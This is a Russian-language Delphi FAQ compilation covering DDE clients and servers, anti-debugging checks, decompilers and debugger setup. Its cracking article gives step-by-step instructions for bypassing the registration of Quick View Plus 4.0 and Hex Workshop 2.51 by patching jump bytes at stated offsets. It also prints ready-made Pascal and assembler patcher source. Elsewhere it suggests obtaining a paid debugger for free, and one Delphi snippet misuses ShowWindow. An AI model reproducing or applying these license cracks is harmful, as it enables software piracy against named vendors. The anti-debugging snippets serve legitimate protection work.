Для построении DDE-сервера в Delphi имеются два объекта, расположенные на странице System Палитры Компонент - TDdeServerConv и TDdeServerItem. Обычно в проекте используется один объект TDdeServerConv и один или более TDdeServerItem. Для получения доступа к сервису DDE-сервера, клиенту потребуется знать несколько параметров : имя сервиса (Service Name) - это имя приложения (обычно - имя выполняемого файла без расширения EXE, возможно с полным путем); Topic Name - в Delphi это имя компоненты TDdeServerConv; Item Name - в Delphi это имя нужной компоненты TDdeServerItem.

Назначение объекта TDdeServerConv - общее управление DDE и обработка запросов от клиентов на выполнение макроса. Последнее выполняется в обработчике события OnExecuteMacro, например, как это сделано в нашем случае:

procedure TDdeSrvrForm.doMacro(Sender: TObject;
          Msg: TStrings);
var
  Text: string;
begin
  Text := '';
  if Msg.Count > 0 then Text := Msg.Strings[0];
  MessageDlg ('Executing Macro - ' + Text, mtInformation,
              [mbOK], 0);
end;

Объект TDdeServerItem связывается с TDdeServerConv и определяет, что, собственно, будет пересылаться по DDE. Для этого у него есть свойства Text и Lines. (Text имеет то же значение, что и Lines[0].) При изменении значения этих свойств автоматически происходит пересылка обновленных данных во все приложения-клиенты, установившие связь с сервером. В нашем приложении изменение значения свойства Lines происходит в обработчике события OnChange компонента Edit1:

procedure TDdeSrvrForm.doOnChange(Sender: TObject);

begin
  if not FInPoke then
    DdeTestItem.Lines := Edit1.Lines;
end;

Этот же компонент отвечает за получение данных от клиента, в нашем примере это происходило при нажатии кнопки Poke Data, это выполняется в обработчике события OnPokeData:

procedure TDdeSrvrForm.doOnPoke(Sender: TObject);
begin
  FInPoke := True;
  Edit1.Lines := DdeTestItem.Lines;
  FInPoke := False;
end;

И последнее - установление связи через Clipboard. Для этого служит метод CopyToClipboard объекта TDdeServerItem. Необходимая информации помещается в Clipboard и может быть вызвана из приложения-клиента при установлении связи. Обычно, в DDE-серверах для этого есть специальный пункт меню Paste Special или Paste Link.
Итак, мы рассмотрели пример полнофункционального DDE-сервера, построенного с помощью компонент Delphi. Очень часто существующие DDE-серверы не полностью реализуют возможности DDE и предоставляют только часть сервиса. Например, ReportSmith позволяет по DDE только выполнять команды (макросы).

DDE-клиенты

Для построения DDE-клиента в Delphi используются два компонента TDDEClientConv и TDDEClientItem. Аналогично серверу, в программе обычно используется один объект TDDEClientConv и один и более связанных с ним TDDEClientItem.
TDDEClientConv служит для установления связи с сервером и общим управлением DDE-связью. Установить связь с DDE-сервером можно как во время дизайна, так и во время выполнения программы, причем двумя способами. Первый способ - заполнить вручную необходимые свойства компонента. Это DdeService, DdeTopic и ServiceApplication. Во время дизайна щелкните дважды на одно из первых двух свойств в Инспекторе Объектов
Укажите в диалоге имена DDE Service и DDE Topic. Эти имена можно узнать из документации по тому DDE-серверу, с которым Вы работаете. В случае DDE-сервера, созданного на Delphi, это имя программы (без .EXE) и имя объекта TDdeServerConv. Для установления связи через Clipboard в диалоге есть специальная кнопка Past Link. Ей можно воспользоваться, если Вы запустили DDE-сервер, сохранили каким-то образом информацию о связи и вошли в этот диалог. Например, если DDE-сервером является DataBase Desktop, то нужно загрузить в него какую-нибудь таблицу Paradox, выбрать любое поле и выбрать пункт меню Edit|Copy. После этого войдите в диалог и нажмите кнопку Paste Link. Поля в диалоге заполнятся соответствующим образом.

Свойство ServiceApplication заполняется в том случае, если в поле DDEService содержится имя, отличное от имени программы, либо если эта программа не находится в текущей директории. В этом поле указывается полный путь и имя программы без расширения (.EXE). При работе с Report Smith здесь нужно указать, например : C:\RPTSMITH\RPTSMITH
Данная информация нужна для автоматического запуска сервера при установлении связи по DDE, если тот еще не был запущен.

В нашей демо-программе связь устанавливается во время выполнения программы в пунктах меню File|New Link и Edit|Paste Link. В пункте меню File|New Link программно устанавливается связь по DDE с помощью соответствующего метода объекта TDdeServerConv, OpenLink делать не надо, поскольку свойство ConnectMode имеет значение ddeAutomatic:

procedure TFormD.doNewLink(Sender: TObject);
begin
  DdeClient.SetLink(AppName.Text, TopicName.Text);
  DdeClientItem.DdeConv := DdeClient;
  DdeClientItem.DdeItem := ItemName.Text;
end;

Здесь же заполняются свойства объекта TDdeClietItem.

В пункте меню Edit|Past Link программно устанавливается связь по DDE с использованием информации из Clipboard:

procedure TFormD.doPasteLink(Sender: TObject);
var
  Service, Topic, Item : String;
begin
  if  GetPasteLinkInfo (Service, Topic, Item) then
  begin
    AppName.Text       := Service;
    TopicName.Text     := Topic;
    ItemName.Text      := Item;
    DdeClient.SetLink (Service, Topic);
    DdeClientItem.DdeConv := DdeClient;
    DdeClientItem.DdeItem := ItemName.Text;
  end;
end;

После того, как установлена связь, нужно позаботиться о поступающих по DDE данных, это делается в обработчике события OnChange объекта TDdeClietItem:

procedure TFormD.DdeClientItemChange(Sender: TObject);
begin
  DdeDat.Lines := DdeClientItem.Lines;
end;

Это единственная задача объекта TDdeClientItem.
На объект TDdeClientConv возлагаются еще две задачи : пересылка данных на сервер и выполнение макросов. Для этого у данного объекта есть соответствующие методы. Посмотрим, как это можно было бы сделать. Выполнение макроса на сервере:

procedure TFormD.doMacro(Sender: TObject);
begin
  DdeClient.ExecuteMacroLines(XEdit.Lines, True);
end;

Пересылка данных на сервер:

procedure TFormD.doPoke (Sender: TObject);
begin
 DdeClient.PokeDataLines(DdeClientItem.DdeItem,XEdit.Lines);
end;

Управление ReportSmith по DDE

В прилагаемом примере run-time версия ReportSmith выполняет команду, переданную по DDE. Имена DDE сервиса для ReportSmith и некоторых других приложений можно узнать в Справочнике в среде ReportSmith.
Перед запуском примера нужно правильно установить в свойстве ServiceApplication путь к run-time версии ReportSmith и в тексте программы в строке

Cmd:='LoadReport "c:\d\r\video\summary.rpt","@Repvar1=<40>,@Repvar2=<'#39'Smith'#39'>"'#0;

правильно указать путь к отчету.


Разработка приложений

Cодержание раздела:

Вопросы защиты и взлома програм
· Защита Shareware програм
· Как определить - находится ли Ваше приложение в режиме отладки ?
· Декомпиляция в Delphi
· Как определить, запущена ли Delphi
· Запущен ли Softice?
· Взлом Windows-приложений
· Установка SoftIce New!
· Установка и использование IDA Pro New!
· Часто задаваемые вопросы по дизассемблеру IDA Pro New!

Вопросы оптимизации и отладки програм
Как сэкономить память в Ваших программах
Почему такие большие программы сделанные в Дельфи?
Библиотека KOL
Приложение с различным разрешением монитора?
Масштабирование окон приложений, в зависимости от разрешения экрана
Использование классовых методов для выявления утечек памяти
Оптимизация программы для работы в фоновом режиме
Ловим баги или почему программы допускают недопустимые операции

Вопросы инсталяции програм
· Какую ветвь реестра использовать для своей проги?
· Installer
· Install BDE программы
· Что делает inf-файл?

Работа со справочной системой
· Как создать Help file?
· Как использовать файлы справки?
· Как закрыть help при закрытии приложения?
· Как использовать CHM help в своём проекте?
· Как вывести главное окно справочной системы?
· Как вызвать подсказку к подсказке?
· Хелп с окошечком для поиска раздела.
· Исследование E-Book Html Compiler 2.12 New!
· Как привязать файлы помощи в Delphi New!
· Оглавление файлов помощи (Help Files Contents) New!

Вопросы локализации програм
· Как локализовать (русифицировать) ресурсы какого-либо пакета (runtime package)?

Разработка Plug in
· Принцип создания плугинов в Delphi
· Как написать свой Plug in

Автозагрузка програм (как и откуда?)
Как отследить завершение работы в приложении?
Как прочитать время компиляции проги?
Как заставить запускаться из определенной папки?
Как экспортировать процедуру в EXE файле
Создание заставки при старте программы
Как выполнить какой-то процесс тогда, когда пользователь не работает с моим приложением?
Реализовать фоновую работу программы New!

См. также статьи в других разделах:
Как установить минимальный размер окна
Как иммитировать появление формы как нового приложения?
Привлечение внимания к окну
Разработка MDI приложений в Delphi
Как сделать ToolBar как в среде Delphi с возможностью вытаскивания кнопок?

См. также другие разделы:
TApplication
Контрольные суммы и шифрование, проверка контрольных сумм


Вопросы защиты и взлома програм

Cодержание раздела:

Защита Shareware програм
Как определить - находится ли Ваше приложение в режиме отладки ?
Декомпиляция в Delphi
Как определить, запущена ли Delphi
Запущен ли Softice?
Взлом Windows-приложений
Установка SoftIce New!
Установка и использование IDA Pro New!
Часто задаваемые вопросы по дизассемблеру IDA Pro New!
Как определить, работает ли программа в виртуальной машине VMware? New!

См. также статьи в других разделах:
Как заставить код компонента работать только в дизайне?
Как получить закэшированные пароли в Win9x?
Как прочитать пароль, скрытый за звездочками?

См. также другие разделы:
Контрольные суммы и шифрование, проверка контрольных сумм
Поддержка пользователей, защита


Защита Shareware програм

Взято из FAQ: http://blackman.km.ru/myfaq/cont4.phtml

В качестве примера приведен небольшой участок программного кода,
позволяющий быстро создать защиту для программ SHAREWARE,
которая, не влияет на функциональность самой программы,
но настоятельно «просит» ее зарегистрировать и закрывает при каждом повторном запуске.
Технология данного метода заключается в том, что пользователь
может запустить программу только один раз за текущий сеанс Windows. Используйте обработчик события FormShow:

procedure TForm1.FormShow(Sender: TObject);
var
  atom: integer;
  CRLF: string;
begin
  if GlobalFindAtom('THIS_IS_SOME_OBSCUREE_TEXT') = 0 then
    atom := GlobalAddAtom('THIS_IS_SOME_OBSCUREE_TEXT')
  else
    begin
      CRLF := #10 + #13;
      ShowMessage('Данная версия предусматривает только один запуск'
        + 'в текущем сеансе Windows.' + CRLF
        + 'Для повторного запуска необходимо перезапустить Windows, или,'
        + CRLF + 'что лучше, - ' + CRLF + 'ЗАРЕГИСТРИРУЙТЕСЬ !');
      Close;
    end;
end;

Преимущество данного метода в том, что пользователю доступны все
возможности программы, но только до момента ее закрытия, или перезапуска системы.
Вся хитрость заключается в сохранении некоторой строки в системных
глобальных переменных («атомах») и последующей проверке ее в таблице «атомов» системы.

Взято с Vingrad.ru http://forum.vingrad.ru


Как определить - находится ли Ваше приложение в режиме отладки ?

Автор: Simon Carter
Обычно господа взломщики, для того, чтобы взломать защиту приложения, запускают его в режиме отладки и анализируют машинный код для определения точки перехвата ввода пароля с клавиатуры.
Обычно таким способом ломаются игрушки :)
Конечно данный способ не сможет полностью защитить Ваш программный продукт от взлома, но прекратить выполнение секретного кода - запросто. Для этого мы будем использовать API функцию IsDebuggerPresent. Единственный недостаток этой функции, заключается в том, что она не работет под Windows 95.
Теперь посмотрим как эту функцию реализовать в Delphi:

function DebuggerPresent: boolean;
type
  TDebugProc = function: boolean; stdcall;
var
  Kernel32: HMODULE;
  DebugProc: TDebugProc;
begin
  Result := False;
  Kernel32 := GetModuleHandle('kernel32.dll');
  if Kernel32 <> 0 then
  begin
    @DebugProc := GetProcAddress(Kernel32, 'IsDebuggerPresent');
    if Assigned(DebugProc) then
      Result := DebugProc;
  end;
end;

А это окончательный пример вызова нашей функции:

if DebuggerPresent then
  ShowMessage('debugging')
else
  ShowMessage('NOT debugging');

Взято из http://forum.sources.ru


Декомпиляция в Delphi

Декомпиляция в Delphi
(перевод одноимённой статьи с delphi.about.com )
Читая форумы по программированию, иногда натыкаешься на вопрос типа: "У меня есть откомпилированная программа на Delphi. Как мне получить её исходный код?". Обычно такой вопрос возникает, когда программист потерял файлы проекта и у него остался только .exe. Как правило полностью восстановить исходный код на языке высокого уровня невозможно. Значит ли это, что другие тоже не смогут восстановить исходный код Вашей программы ? Хм ... и да и нет ...
Для начала сразу скажу, что восстановить исходный код в точности каким он был однозначно невозможно, так как не существует в мире такого декомпилятора, который бы смог сотворить такое.
После компиляции и линковки проекта и получения исполняемого файла все имена, используемые в программе конвертируются в адреса. Потеря имён означет, что декомпилятор создаст уникальное имя для каждой константы, переменной, функции и процедуры. Даже если мы и достигнем какого-то успеха в декомпиляции исполняемого файла, то получим уже другой синтаксис программы. Данная проблема связана с тем, что при компиляции практически идентичные куски кода могут быть скомпилированы в разные последовательности машинных команд (ASM), которые присутствуют в .exe файле. Естевственно декомпилятор не обладает такой степенью интеллектуальности, чтобы решить - какова же была последовательность инструкций языка высокого уровня в исходном проекте.
Когда же применяется декомпиляция ? Для этого существует довольно много причин. Вот некторые из них:
- Восстановление исходного кода;
- Перенос приложения на другую платформу;
- Определение наличия вирусов в коде программы или вредоносного кода;
- Исправление ошибок в программе, в случае, если создатель приложения не собирается этого делать :)
Легально ли всё это ? Хотя декомпиляция и не является взломом, но утвердительно ответить на этот вопрос довольно сложно. Обычно программы защищены законом об авторских правах, однако в большинстве стран на декомпиляцию делается исключение. В часности, когда необходимо изменить интерфейс программы для конкретной страны, а сервис приложения не позволяет этого сделать.
На данный момент Borland не предоставляет никаких программных продуктов, способных декомпилировать исполняемые файлы (.exe) либо откомпилированные Delphi-модули (.dcu) в исходный код (.pas).
Если же Вы всё-таки решились попробовать декомпилировать исполняемый файл, то необходимо знать следующие вещи. Исходные коды на Delphi обычно хранятся в файлах двух типов: сам исходник в ASCII кодировке (.pas, .dpr) и файлы ресурсов (.res, .rc, .dfm, .dcr). Dfm файлы хранят в себе свойства объектов, содержащихся в форме. При создании конечного .exe, Delphi копирует в него информацию из .dfm файлов. Каждый раз, когда мы изменяем координаты формы, описания кнопок или связанные с ними события, то Delphi записывает эти изменения в .dfm (за исключением кода процедур. Он сохраняется в файлах pas/dcu ). И наконец, чтобы получить при декомпиляции файл .dfm, нужно знать - какие типы ресурсов хранятся внутри Win32 исполняемого модуля.
Все программы, скомпилированные в Delphi имеют следующие секции: CODE, DATA, BSS, .idata, tls, .rdata, .rsrc. Самые важные для декомпиляции секции CODE и .rsrc. В статье "Adding functionality to a Delphi program" приведены некоторые интересные факты о исполняемых форматах Delphi, а так же информация о классах и DFM ресурсах. В этой статье есть один интересный момент под заголовком: "Как добавить свой обработчик события в уже откомпилированный файл, например, чтобы изменять тект на кнопке".
Среди многих типов ресурсов, которые сохранены в .exe файле, интерес представляет RT_RCDATA, который хранит информацию, которая были в DFM файле перед трансляцией. Чтобы извлеч DFM данные из .exe файла, мы можем вызываться API функцией EnumResourceNames.
Исскуство декомпилирования традиционно было уделом мастеров, знакомых с ассемблером и отладчиками. Некоторые Delphi декомпиляторы создают впечатление, что любой, даже с ограниченными техническими знаниями, может изменить по своему желанию большинство исполняемых файлов Delphi.
И в заключение, если Вы заинтересовались декомпилованием, то предлагаю Вам несколько Delphi декомпиляторов:
DeDe
DeDe довольно шустрая программка, позволяющая анализировать экзешники, скомпилированные в Delphi. После декомпиляции DeDe даёт Вам следующее:
- Все dfm файлы. Вы сможете открывать их и редактировать в Delphi
- Все объявленные методы с хорошо комментированным кодом на ассемблере с ссылками на строки, импортированных функций, методов и компонент в юните, блоки Try-Except и Try-Finally.
- Большое количество дополнительной информации.
- Вы можете создать папку Delphi проекта со всеми файлами dfm, pas, dpr. Не забудьте, что pas файлы содержат ассемблерный код.
Revendepro
Revendepro находит почти все структуры (классы, типы, процедуры, и т.д.) в программе, и генерирует их паскальное представление, процедуры естевственно будут представлены на языке ассемблера. К сожалению, полученный ассемблерный код не может быть заново откомпилирован. Так же доступен исходник этого декомпилятора. К сожалению, этот декомпилятор не совсем рабочий - генерирует ошибку при декомпиляции.
MRIP
Позволяет извлекать из Delphi приложения любые ресурсы: курсоры, иконки, dfm файлы, pas файлы и т.д. Но главная его особенность - это способность извлекать файлы, хранящиеся в других файлах. Поддерживается более 100 форматов файлов. MRip работает под DOS.
Exe2Dpr
Эта программа может восстановить частично потерянные исходники проекта. Не имеет интерфейса и работает с командной строки, например: 'exe2dpr [-o] exeFile' ( исходники проекта будут созданы в текущей директории).

Взято из http://forum.sources.ru


Как определить, запущена ли Delphi

Иногда, особенно при создании компонент, бывает необходимо получить доступ к компоненту только когда запущена Delphi IDE.

If FindWindow('TAppBuilder',nil) <= 0 then
  ShowMessage('Delphi is not running !')
else
  ShowWindow('Delphi is running !');

Взято из http://forum.sources.ru


Запущен ли Softice?

//SoftIce in W9x

function IsSoftIce95Loaded: boolean;
var
  hFile: Thandle;
begin
  result := false;
  hFile := CreateFileA('\.SICE', GENERIC_READ or GENERIC_WRITE,
    FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL, 0);
  if (hFile <> INVALID_HANDLE_VALUE) then
  begin
    CloseHandle(hFile);
    result := TRUE;
  end;
end;
// SoftIce in NT OS

function IsSoftIceNTLoaded: boolean;
var
  hFile: Thandle;
begin
  result := false;
  hFile := CreateFileA('\.NTICE', GENERIC_READ or GENERIC_WRITE,
    FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL, 0);
  if (hFile <> INVALID_HANDLE_VALUE) then
  begin
    CloseHandle(hFile);
    result := TRUE;
  end;
end;
//to detect it
if IsSoftIce95Loaded or IsSoftIceNTLoaded then
  Application.Terminate
    {if you insert a "Nag" (Message telling him he uses SoftIce) then a amatuer cracker w'll find this protection in notime}
  //bestway of using this thing is in "project Unit"
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Взлом Windows-приложений

Введение

Для начала я научу вас пользоваться W32Dasm. Я не хочу вам давать детальную помощь, как делать краки, но я могу научить вас самим добывать себе умения и навыки взлома. Когда вы используете W32Dasm, знайте, что он не даст вам серийные номера или коды, он лишь покажет путь, где находится место, где можно эти номера вводить. То, что я делаю каждый день при взломе программ, будет описано в этом справочнике, шаг за шагом.

Инструменты

Из инструментов взлома вам нужно следующее:

W32Dasm 8.5 или боолее позднюю версию,
Hacker's View 5.24,
Norton Commander (я позднее объясню, почему я его использую).
Turbo Pascal 7.0
TASM и TLINK 3.0
Как кракнуть Quick View Plus 4.0

Запустите ORDER32.EXE
Кликните на $49 Single User License (вы можете кликнуть и на $59), затем ACCEPT, потом UNLOCK BY PHONE.
Введите любой код для получения сообщения об ошибке (вы должны записать это сообщение), потом выйдите из программы, кликнув на CANCEL.
Запустите Norton Comander, перейдите в директорию QVP.
Скопируйте ORDER32.EXE в ORDER32.EXX (для сохранности), а затем скопируйте ORDER32.EXE в 1.EXE (для использования в W32Dasm).
Запустите W32Dasm и раздессимблируйте 1.EXE.
После этого, кликните на STRING DATA REFERENCE, найдите там сообщение "You have entered an incorrect code.Please check your entry" (вы должны помнить,что это было сообщение об ошибке) и дважды щелкните мышью по нему.
Закройте SDR окно. Вы должны увидеть сообщение:

* Possible reference to String Resource ID=00041: "You have entered...
:004049F8 6A29 push 00000029
:004049FA FF353CCE4000 push dword ptr [0040CE3C]

ОК, теперь вы должны найти последнее сравнение типа CMP,JNE, JE,TEST и т.д. перед сообщением об ошибке. Нажимайте стрелку "вверх", пока не найдете:

:004049CD 755A jne 00404A29
* Possible reference to String Resource ID=00032: "You must select...
:004049CF 6A20 push 00000020
...
...
* Possible reference to String Resource ID=00040: "Unlock Error"

Теперь вы знаете, куда идет скачок при введении неправильного кода. Теперь можно посмотреть, что произойдет, если "jne" на "je". Убедитесь, что зеленая полоска находится на надписи:

004049CD 755A jne 00404A29, вы должны увидеть Offset address внизу на статусной строке типа @Offset 00003DCDh Это место, где вы можете внести изменения в ORDER32.EXE.

Перейдите обратно в Norton Commander, запустите HIEW ORDER32.EXE, нажмите F4 для выбора режима декодирования (Decode Mode), нажмите F5 и введите 3DCD. Вы должны увидеть следующее :

00003DCD: 755A jne 000003E29
00003DCF: 6A20 push 020
00003DD1: FF15 call w,[di]

Это то место, где вы можете изменить байты, нажмите F3, введите 74, нажмите F9 для обновления ORDER32.EXE. Выйдите из HIEW.
Запустите ORDER32.EXE, введите любой код. Ура ! Мы сломали QVP 4.0 ! Но ! Что будет, если ввести настоящий серийный номер ? Появляется сообщение об ошибке ! Что это ?
Снова запустиите HIEW ORDER32.EXE, нажмите F4, выберите Decode, нажмите F5 и введите 3DCD. Нажмите F3, введите EB, нажмите F9. Вы прямо "прыгнете" на Unlocked диалог.
Как кракнуть Hex WorkShop 2.51

Запустите HWORKS32.EXE
Кликните на HELP, About HEX Wo..
Введите любой код, чтобы получить сообщение об ошибке (вы должны записать это сообщение) и выйдите из программы.
Запустите Norton Commander, перейдите в директорию HWS.
Скопируйте файл HWORKS32.EXE в HWORKS32.EXX (для сохранности) и скопируйте файл HWORKS32.EXE в 1.EXE (для использования в W32Dasm).
Запустите W32Dasm и "разберите" 1.EXE.
После этого, нажмите мышью на FIND TEXT, введите "You have entered an" (вы должны помнить, что это сообщение об ошибочно введенном серийном номере) и найдите соответствующую строку (вы не сможете сделать это в SDR-окне !)
Вы должны увидеть следующую строку:

Name: DialogID_0075, # of Controls=003, Caption: "Registration Unsucce..
001-ControlID:FFFF, Control Class:""Control Text:"You have entered an..
002-ControlID:FFFF, Control Class:""Control Text:"Please confirm you..

Оk, теперь вы знаете, что ControlID будет использоваться, когда вы введете неверный код. Кликните FIND TEXT, введите "dialogid_0075" и вы найдете:

* Possible reference to DialogID_0075
:0041E233 6A75 push 00000075
:0041E235 8D8D10FFFFFF lea ecx, dword ptr [ebp+FF10]

Теперь вы должны поискать последнюю ссылку, типа CMP, JNE, JE и пр. перед диалогом об ошибке. Нажимайте клавишу "вверх", пока не найдете :

:0041E145 837DEC00 cmp dword ptr [ebp-14], 00000000
:0041E149 0F8479000000 je 0041E1C8
:0041E14F 8B8DFCFEFFFF mov ecx, dword ptr [ebp+FEFC]

Теперь вам нужно посмотреть, что произойдет, если "je" заменить на "jne". Убедитесь, что зеленая полоска установлена на строке

:0041E149 0F8479000000 je 0041E1C8.

Вы должны на нижней статусной строке увидеть оффсетный адрес, типа:

@Offset0001D549h.

Это то место, где вы сможете кракнуть HWORKS32.EXE
Перейдите обратно в Norton Commander, запустите HIEW HWORKS32.EXE, нажмите F4 для выбора режима декодирования (Decode Mode), нажмите F5 и введите ID549. Вы должны увидеть следующее :

0001D549: 0F847900 je 00001D5C6 ---------- (1)
0001D54D: 0000 add [bx][si],al
0001D54F: 8B8DFCFE mov cx,[di][0FEFC]

Это то место, где вы сможете изменить несколько байтов, нажмите F3, введите 0F85, нажмите F9 для обновления файла HWORKS32.EXE. Выйдите из HIEW.
Запустите HWORKS32.EXE и введите любой код, работает ? НЕТ !?!??!?! Хе-хе-хе... Не волнуйтесь ! Снова перейдите в Нортон. Скопируйте HWORKS32.EXX в HWORKS32.EXE (теперь вы видите, почему я делаю копию файла с расширением ЕХХ для сохранности). Теперь перейдите в W32Dasm, вы должны перейти туда, где только что были (на 0041У145).
Нажмите F3 для очередного поиска "DialogID_0075", вы должны найти:

* Possible reference to DialogID_0075
:00430ADD 6A75 push 00000075
:00430ADF 8D8D10FFFFFF lea ecx, dword ptr [ebp+FF10]

Ok, теперь вы теперь можете посмотреть на последние ссылки, типа CMP, JNE, JE и т.д. перед диалогом об ошибке. Нажимайте стрелку вверх, пока не найдете :

:004309EF 837DEC00 cmp dword ptr [ebp-14], 00000000
:004309F3 0F8479000000 je 00430A72
:004309F9 8B8DFCFEFFFF mov ecx, dword ptr [ebp+FEFC]

Теперь вы можете посмотреть, что произойдет, если "je" заменить на 'jne". (это должно сработать). Переместите полоску на:

004309F3 0F8479000000 je 00430A72.

На статусной строке внизу экрана вы должны следующее:

@Offset0002FDF3h (оффсетный адрес).

Это то место, где вы сможете кракнуть HWORKS32.EXE.
Перейдите в Norton Commander, запустите HIEW HWORKS32.EXE, нажмите F4 для выбора Decode Mode (ASM), нажмите F5 и введите 2FDF3. Вы должны увидеть:

0002FDF3: 0F847900 je 00001D5C6 ---------- (1)
0002FDF7: 0000 add [bx][si],al
0002FDF9: 8B8DFCFE mov cx,[di][0FEFC]

Это то место, где вы сможете изменить несколько байтов, нажмите F3, введите 0F85, нажмите F9 для обновления файла HWORKS32.EXE. Выйдите из HIEW.
Запустите снова HWORKS32.EXE и введите любой код. Работает ? Виола !!! Поздравляю !!! Вы крякнули HEX WorkShop 2.51 !
Как сделать собственный патч

Здесь напечатан исходный код на Паскале :

uses Crt;

const
  A: array[1..1] of record {<-------- 1 byte to be patched}
    A: Longint;
    B: Byte;

  end =
  ((A: $3DCD; B: $EB));
    {<--------------- offset "3DCD" and byte "EB" to be changed}

var
  Ch: Char;
  I: Byte;
  F: file;
  FN: file of byte;
  Size: longint;

begin
  Writeln('TKC Little Patch');
  writeln('Crack for QVP 4.0 by TKC/PC 97');
  Assign(F, 'ORDER32.EXE'); {<-------------- filename to be patched}
{$I-}Reset(F, 1);
{$I+}
  if IOResult <> 0 then
  begin
    writeln('File not found!');
    halt(1);
  end;
  for I := 1 to 1 do {<---------------------- 1 byte to be patched}

  begin
    Seek(F, A[I].A);
    Ch := Char(A[I].B);
    Blockwrite(F, Ch, 1);
  end;
  Writeln('File successfully patched!');

end.

Исходник на ассемблере (для изучающих ассемблер):

DOSSEG
.MODEL SMALL
.STACK 500h
.DATA
.CODE
PatchL EQU 6
Buffer Db PatchL Dup(1)
handle dw ?
intro db "TKC's Little Patch",0dh,0ah,"Crack for QVP 4.0 by TKC/PC '97$"

FileName db "ORDER32.EXE",0 ;<------- filename to be patched
notfound db 0dh,0ah,"File not found!$"
cracked db 0dh,0ah,"File successfully patched. Enjoy!$"
Cant db 0dh,0ah,"Can't write to file.$"
Done db "File has been made.$"
String db 0EBh,0 ;<------------- byte "EB" to be patched

START:
mov ax,cs
mov ds,ax
mov dx,offset intro ;point to the time prompt
mov ah,9 ;DOS: print string
int 21h
jmp openfile

openfile:

mov ax,cs
mov ds,ax
mov ax,3d02h
mov dx,offset FileName
int 21h
mov handle,ax
cmp ax,02h
je filedontexist
jmp write

filedontexist:
mov ax,cs
mov ds,ax
mov dx,offset notfound
mov ah,9 ;DOS: print string
int 21h ;display the time prompt
jmp exit

Write:
mov bx,handle
mov cx,0000h
mov dx,3DCDh ;<------------- offset "3DCD"
mov ax,4200h
int 21h

mov cx,patchl
mov dx,offset String
mov ah,40h
mov cx,01h
int 21h
mov ax,cs
mov ds,ax
mov dx,offset cracked
mov ah,9 ;DOS: print string
int 21h ;display the time prompt
jmp Exit

Exit:
mov ah,3eh
int 21h
mov ax,4c00h
int 21h
END START

Заключительные слова

Здесь несколько важных функций, используемых для крэкинга :

Hex: Asm: Means
75   or 0F85 jne jump if not equal
74   or 0F84 je jump if equal
EB   jmp    jump directly to
90    nop    no operation
77    or 0F87 ja jump if above
0F86    jna    jump if not above
0F83    jae    jump if above or equal
0F82    jnae    jump if not above or equal
0F82    jb    jump if below
0F83    jnb    jump if not below
0F86    jbe    jump if below or equal
0F87    jnbe    jump if not below or equal
0F8F    jg    jump if greater
0F8E    jng    jump if not greater
0F8D    jge    jump if greater or equal
0F8C    jnge    jump if not greater or equal
0F8C    jl    jump if less
0F8D    jnl    jump if not less
0F8E    jle    jump if less or equal
0F8F    jnle    jump if not less or equal

Ваши небольшие знания по Ассемберу, вам, естественно, помогут, и они вам потребуются для использования Soft-ICE. Кроме того, вы сможете кракать эти куски с помощью W32Dasm как маньяк :-) Вы не сможете дизассемблировать программы на Visual Basic, для него вам понадобятся специальные декомпилеры, но с помощью SoftIce'a поломать их можно и без декомпилятора.

Удачи !

Взято с http://delphiworld.narod.ru


Установка SoftIce

1. Для того, чтобы заниматься взломом виндовских программ обязательно нужен отладчик - самый популярный сейчас SoftIce, он есть на www.numega.com, но там его придётся покупать, можно также качнуть его, но уже бесплатно, здесь, а вообще лучше взять, да купить что-нибудь на подобии диска "Штурман хакера" - там много чего ещё есть.

2. Установка SoftIce'а тоже дело серьёзное - когда дело дойдёт до выбора модели видеокарты - ничего не выбирайте, а установите флажок "Universal Video Driver", иначе выходить будете только по RESET. На вопрос о выборе порта мыши честно отметьте к какому порту она подключена - иначе придётся обходиться без мыши. При запросе на изменение AUTOEXEC.BAT разрешите это - добавляется строка каждый раз запускающая SoftIce до Windows'а (кстати не знаю насколько я прав, но по моему Windows ME вообще не запускает AUTOEXEC.BAT во время загрузки - возможно придётся установить Windows 98).

3. Если вы всё вышесказанное сделали правильно, то войдя в винды и нажав Ctrl-D - вы получете окно SoftIce'а в верхнем левом углу экрана (убирается окно также - Ctrl-D или F5), но это ещё не всё - для полноценного ломания программ, SoftIce нужно ещё и настроить. Все его настройки хранятся в файле Winice.dat в папке, куда установлена программа, откройте его в текстовом редакторе и сделайте следующее:

Во-первых, вместо INIT="X;"

наберите

INIT="color 7 e 1a 5b a; code on; lines 60; wc 40; faults on; X;" ; - это управление интерфейсом.

Во-вторых, там существует множество строк типа:

;EXP=c:\windows\system\netlib32.dll

обратите внимание на ";" в начале строки - проверьте какие из перечисленных там файлов действительно существуют по соответствующему адресу и УБЕРИТЕ ";" перед теми строками.

4. Теперь, после перезагрузки компьютера, отладчик готов к работе - можно переходить к урокам крэкерства.

Автор: Bad_guy

Взято с http://delphiworld.narod.ru


Установка и использование IDA Pro

Дизассемблер позволяет получить ассемблерный текст программы из машинного кода (.exe или .dll модуля). Многие дизассемблеры могут определять имена вызываемых программой API-функций. IDA Pro отличается от других дизассемблеров тем, что он способен опознавать имена не только API-функций, но и функций из MFC (Microsoft Foundation Class - используется программами, написанными на Visual C++) и OWL (Object Windows Library - используется программами, написанными на Borland C++), а также стандартных функций языка Си (таких как fread(), strlen() и т.д.), включенных в код программы.

Установка программы обычно не вызывает никаких проблем. После запуска дизассемблера (файл idaw.exe) появляется окно сессии DOS. Не пугайтесь, IDA Pro - нормальное 32-разрядное приложение, просто оно консольное (работает в окне сессии DOS). Именно поэтому интерфейс IDA Pro напоминает интерфейс обычной DOS-программы.

Отметим несколько моментов, на которые Вам следует обратить внимание перед началом работы с IDA Pro:

· Практически все настройки (кроме цветовой палитры) осуществляются через файл ida.cfg
· В первую очередь, давайте поменяем размеры экрана программы. Установленный по умолчанию размер на разрешении 1024*768 не очень удобен, поэтому лучше заменить строку

SCREEN_MODE = 0 (по умолчанию 32 строки по 80 символов)

на

SCREEN_MODE = 0x783B (59 строк по 120 символов)- для разрешения 1024х768

это максимальный размер окна, которое умещается на экране. Если у Вас 800х600, можете ничего не менять.
· При работе с программой я обнаружил одну странную вещь: когда я закрываю IDA Pro, выдается два сообщения о том, что программа выполнила недопустимую операцию и будет закрыта (происходит ошибка при смене видеорежима). Чтобы этого избежать, нужно принудительно установить размер используемого программой шрифта. Для этого:
